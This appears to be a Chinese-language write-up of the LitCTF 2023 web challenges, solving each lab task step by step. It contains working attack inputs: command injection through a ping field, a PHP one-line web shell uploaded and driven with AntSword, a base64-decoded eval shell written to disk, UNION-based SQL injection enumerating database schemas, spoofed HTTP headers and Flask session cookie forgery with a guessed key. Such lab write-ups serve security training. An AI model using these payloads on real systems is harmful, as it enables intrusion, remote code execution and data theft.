您现在的位置是:首页 >技术交流 >2023年LitCTF web组wp网站首页技术交流

2023年LitCTF web组wp

InkLong 2024-06-19 13:56:27
简介2023年LitCTF web组wp

目录:

1、导弹迷踪

2、1zjs

3、php是世界上最好的语言!!

4、Ping

5、我Flag呢?

6、Follow me and hack me

7、作业管理系统

8、Vim yyds

9、Http pro max plus

10、这是什么?SQL !注一下 !

11、Flag点击就送!

12、就当无事发生

13、彩蛋

一、导弹迷踪:

先看题目描述,飞过6关就能获得flag。打开环境,发现是个小游戏。

此时你可以老老实实的玩完6关,也能拿到flag,不过没必要。

先F12看看代码,除了一堆引用之外没什么有用的。

猜一下flag会在哪里?先看game.js吧,没有就去main.js。

打开不出意外是超级多的代码,复制到记事本里面搜索关键字

CTF
FLAG
F|L|A|G
C|T|F
f1ag #注意是1不是l

找到了:

 顺便注意一下提交格式NSSCTF{}

二、1zjs:

提示了是js(?)文件,打开环境,是个大魔方,比赛太累了可以来玩(不是),还原键用不了,不过跟题没关系。

看看html,找到了一个:

 怪不得题目描述有个“?”,不过应该就是这个文件(找不到就再试试呗)

同样查找

CTF
FLAG
F|L|A|G
C|T|F
f1ag #注意是1不是l

 找到一个

很明显是要访问这个文件

打开之后是js表达式

 那就输出一下看看结果:

console.log(把那一堆复制进来);

结果

 三、PHP是世界上最好的语言!!

看看题目描述,php小工具,flag位于根目录

打开环境,能运行代码

先写个echo("1");

 输出1。那这个题就很好办了,直接根据提示打印根目录即可:

system('cat /*');

得到flag

 四、Ping

简单易懂的描述,ping就完事了

先来个127.0.0.1

试一下127.0.0.1;ls

被拦了

看下代码是正则waf,不会绕过


  function check_ip(){
    let ip = document.getElementById('command').value;
    let re = /^(25[0-5]|2[0-4]d|[0-1]d{2}|[1-9]?d).(25[0-5]|2[0-4]d|[0-1]d{2}|[1-9]?d).(25[0-5]|2[0-4]d|[0-1]d{2}|[1-9]?d).(25[0-5]|2[0-4]d|[0-1]d{2}|[1-9]?d)$/;

    if(re.test(ip.trim())){
      return true;
    }
    alert('敢于尝试已经是很厉害了,如果是这样的话,就只能输入ip哦');
    return false;
  }

那就bp抓包修改参数,数据包是这样的

修改command参数即可

127.0.0.1;ls

木有,那就向上找,直到找到有用的

127.0.0.1;ls ..
127.0.0.1;ls ../..
127.0.0.1;ls ../../..

 终于找到了,接下来打开

127.0.0.1;cat ../../../flag

 得到flag

 五、我Flag呢?

很简单的一道题,但是比赛的时候打不开网页(淦)

F12直接出来flag

 不过别着急直接提交,点一下控制台能找到彩蛋

运行giveMeEgg()获得彩蛋

六、Follow me and hack me

没提示,直接点开环境(我打不开环境,也不知道怎么了,就不配网站的图了)

要求同时用GET上传CTF=Lit2023以及POST上传Challenge=i'm_c0m1ng

选择用hackbar或者bp都可以,bp的话就先在GET后面写个/?Challenge=i'm_c0m1ng,然后右键change request method就能转换为POST了,再在POST/后面接个?CTF=Lit2023就行了

POST /?CTF=Lit2023 HTTP/1.1
Host: node6.anna.nssctf.cn:28285
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Origin: http://node6.anna.nssctf.cn:28285
Connection: close
Referer: http://node6.anna.nssctf.cn:28285/?CTF=Lit2023
Upgrade-Insecure-Requests: 1

Challenge=i'm_c0m1ng

然后就能拿到flag了,并提示根目录有好康的,dirsearch扫描,找到一个www.zip,访问下载下来一个php文件,是第三个彩蛋。

    <?php
        // 第三个彩蛋!(看过头号玩家么?)
        // _R3ady_Pl4yer_000ne_ (3/?)
    ?>

七、作业管理系统

点进去就要登录,不过f12提示账号密码都是admin。

进入之后就是个普通的后台管理系统

看见上传文件 ,没要求格式,html也没看见前端过滤,那就直接上传一句话木马

<?php @eval($_POST["pass"]);?>

 上传成功,应该是本目录下,蚁剑链接

 找到flag

 别急着走,远程下载这里有个链接

第二个彩蛋

八、Vim yyds

提示是vim泄露

vim是linux自带且常用的文件编辑器,vim在编辑时会生成一个隐藏的临时文件,当vim非正常关闭时这个文件就会被保留下来。 使用vim时意外退出,会在目录下生成一个备份文件,格式为 .文件名.swp,访问.index.php.swp可以下载备份文件。第一次产生的缓存文件后缀为.swp,第二次则产生的缓存文件后缀为.swo,第三次产生的缓存文件后缀为.swn

访问 .index.php.swp可以下载一个index.php.swp的文件,打开是乱码,用vim自带的恢复指令回复这个文件(可以用Linux虚拟机,自带vim)

vim -r .index.php.swp

恢复之后是这样的

提示当POST一个base64加密前是Give_Me_Your_Flag的password就会满足if语句,然后就可以使用eval,那就加密

POST一个
password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag
或者你可以写入一个webshell
贴一下官方题解:
<?php eval($_POST[cc]);?>
PD9waHAgZXZhbCgkX1BPU1RbY2NdKTs/Pg==

echo "PD9waHAgZXZhbCgkX1BPU1RbY2NdKTs/Pg==" | base64 -d >cc.php

password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=echo "PD9waHAgZXZhbCgkX1BPU1RbY2NdKTs/Pg==" | base64 -d >cc.php


或者传个马,随便了

获得flag

 九、Http pro max plus

描述是”怎么还有一层“,感觉应该是有多层限制。

第一层:

 大部分人第一时间都会想到是x-forwarded-for:127.0.0.1 但是这题不行,只会被嘲讽:

其实还有个client-ip:127.0.0.1 修改请求头就进入了下一层。

第二层:

浅显易懂,要从教育网站P管来才行(大雾)

Referer:pornhub.com 即可

第三层:

修改User-Agent为Chrome就行,其他全删掉

第四层:

 要代理,不过也不是这让你去搞个代理,使用Via这个请求头,Via:Clash.win

via是http协议里面的一个header,记录了一次http请求所经过的代理和网关,经过1个代理服务器,就添加一个代理服务器的信息

可算是过来了:

到了这里

除了涩涩就是涩涩,白高兴了(不是),f12可以找到真正的地址:

 至圣真理啊(啊不),进入之后获得flag(就这?)

 十、这是什么?SQL !注一下 !

看描述应该很多过滤手段,结果是我想多了。

输入1,有结果:

输入1’可以看见报错了,0 results。并且可以看见6个括号包着,要闭合这6个(裹得好严实)

1))))))order by 1,2,3#

报错,0 results,去掉一个3,有结果,所以注入点在1,2。先爆库:

-1))))))union select 1,group_concat(schema_name) from information_schema.schemata#

结果:information_schema,mysql,ctftraining,performance_schema,test,ctf 

 有两个,先看看ctf库,爆表,表名为users:

-1))))))union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctf'#

爆列:

-1))))))union select 1,group_concat(column_name) from information_schema.columns where table_schema=database()#

有 id,username,password 

 分别看看username和password:

-1))))))union select 1,password from users#

username:Array ( [0] => Array ( [username] => 1 [password] => tanji ) [1] => Array ( [username] => 1 [password] => fake_flag ) )

password:Array ( [0] => Array ( [username] => 1 [password] => OHHHHHHH ) [1] => Array ( [username] => 1 [password] => F1rst_to_Th3_eggggggggg!} (4/4) ) )

是fake_flag,但是形式和彩蛋一致,记下来

这个数据库看完了,没有flag,去ctftraining数据库,重复的我就不写了:

得到 flag,news,users   那就去flag表

-1))))))union select 1,group_concat(column_name) from information_schema.columns where table_schema='ctftraining'#

得到flag,id,title,content,time,id,username,password,ip,time 

接下来去拿flag:

-1))))))union select 1,flag from ctftraining.flag#

得到:

十一、Flag点击就送!

需要管理员才能获得flag,不过输入admin登录被嘲讽

随便输入一个a,拦截数据包,找到cookie

可以看见一个session,应该是flask session伪造

盲猜一下加密密钥是LitCTF,使用flask-session加解密工具

贴一下网址:GitHub - noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder

脚本使用方法
解密:python flask_session_cookie_manager3.py decode -s “secret_key” -c “需要解密的session值”
加密:python flask_session_cookie_manager3.py encode -s “secret_key” -t “需要加密的session值”

python flask_session_cookie_manager3.py decode -s LitCTF -c eyJuYW1lIjoiYSJ9.ZGSW6w.Vmfq-0gMExPk3qxMtzdRdObqtq0

python flask_session_cookie_manager3.py encode -s LitCTF -t {'name':'admin'}

 得到伪造的session就可以修改cookie发过去了,获得flag。

十二、就当无事发生

没有环境,就给了个网址,探姬的博客主页

打开之后第一个文章是这个:

 一堆废话文学:

有个评论框,猜测是xss攻击:

 可以看见下面全是在尝试的:

不过试了之后没什么用,那就换个思路,看看f12,但是也没找到有用的信息。

观察一下最开始给的网址,可以发现是托管在github上的

去探姬github主页康康:

(现在找不到ProbiusOfficial.github.io了,所以就不贴图了,总之点进去)

点进去,找到index.php的331行,得到flag。

十三、彩蛋

看提示:

彩蛋分布于 我Flag呢 Follow me and hack me  作业管理系统 狠狠的注入 四个题目 中

刚刚已经全部找到了,分别是:

LitCTF{First_t0_The_k3y! (1/?)

_S0_ne3t? (2/?)

R3ady_Pl4yer_000ne (3/?)

F1rst_to_Th3_eggggggggg!}

拼起来提交即可(删掉括号)

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。